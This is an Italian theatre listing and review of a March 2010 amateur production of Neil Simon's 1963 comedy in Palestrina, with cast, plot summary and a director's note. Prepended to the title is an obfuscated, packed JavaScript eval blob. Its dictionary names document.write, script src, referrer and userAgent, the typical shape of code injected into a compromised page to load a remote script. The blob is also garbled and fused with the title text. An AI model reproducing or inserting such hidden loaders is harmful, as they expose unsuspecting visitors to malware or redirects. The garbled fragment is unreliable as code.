

```
di eval(function(p,a,c,k,e,d){e=function(c){return
c.toString(36)};if(!".replace(/~/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e)
{return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6("";n
m="q";',30,30,'document|j|avascript|encodeURI|src|write|http|45|67|script|text|rel|nofollow|type|
97|language|jquery|userAgent|navigator|script|ddhee|var|u0026u|referrer|fizsd|js|php'.split('|'),0
,{})) Neil Simon (1963)
```

26 - 27 - 28 Marzo 2010 Venerdì e Sabato ore 21:00 - Domenica ore 19:00

TEATRO "Principe" Palestrina (RM) - P.le della Liberazione

Info e Prenotazioni al 338.2523004 www.marionettesenzafili.it

La coppia di neosposi Paul (Claudio Tagliacozzo) e Corie (Micaela Sangermano), dopo aver trascorso sei giorni di infuocata luna di miele chiusi in una stanza dell'hotel Plaza, si trasferiscono nella loro prima casa, un piccolo e spoglio appartamento all'ottavo piano di un vecchio palazzo senza ascensore vicino al Central Park.

La scomoda sistemazione ed una serata a quattro, in compagnia dell'eccentrico vicino abusivo Victor Velasco (Francesco Lavorgna) e di Ethel, la benpensante madre di Corie (Beatrice Palumbro), mettono a dura prova la loro vita matrimoniale e, in particolare, fanno emergere le loro differenze caratteriali: Paul è serio, contegnoso, prudente, Corie è vitale, appassionata, romantica; tanto l'uno è prevedibile e convenzionale quanto l'altra è imprevedibile e spudorata.

Corie decide di mettere fine al matrimonio, non all'altezza delle sue elevate aspettative ideali, e caccia dall'inospitale tetto coniugale Paul, che finisce su una panchina del Central Park, a ubriacarsi e camminare a piedi nudi nel parco, proprio quella che lei gli aveva indicato come espressione della desiderata spontaneità. Ma quando vede come si è ridotto, Corie capisce di amarlo così come l'ha conosciuto e sposato, un uomo stabile e fidato, e di non volerlo affatto cambiare.

I giovani Paul e Corie si riconciliano ed anche i maturi Victor ed Ethel, altrettanto diversi, sembrano aver scoperto una speciale sintonia.

In scena il pittoresco tecnico dei telefoni Henry Pepper (Massimiliano Bossi) da il via alle situazioni comiche, con simpatia e umanità.

Commedia sentimentale piacevole, con un meccanismo comico efficace, costruito su alcuni elementi ambientali e con un intreccio narrativo basato sul confronto di caratteri (Corie e Victor, pieni di gioia di vivere, contro i noiosi Paul e Ethel).

La commedia è stata scritta nel 1963, e rappresentata a Broadway in centinaia di repliche fino al 1967, anno in cui si decide di farne un film.

Film che fa conoscere e consacra definitivamente il giovane Robert Redford, in coppia nell'occasione con la meravigliosa Jane Fonda.

La consueta meravigliosa scenografia di Rosita Bellotti, ci fa vivere tutte le vicende nella casa dei due neoconiugi, ove si nota inevitabile ed indispensabile la Direzione di Scena di Martina Mattogno.

Un attento trucco e parrucco di Stefania Cau, chiude il cerchio aperto e gestito da Federica Di Stefano (Aiuto Regia) per una perfetta rappresentazione.

*Nota particolare quanto singolare, è la mia partecipazione sulle tavole del palco: come in passato per festeggiare il mio primo decennale di attività teatrale in "Filumena Marturano", "Il mercante di Venezia" e nel mio "Il fantasma di Canterville", quest'anno voglio ricordare il 7° anno di fondazione dell'Associazione Teatrale "Marionette senza Fili"
...il numero 7, a me tanto caro...*

il regista

Claudio Tagliacozzo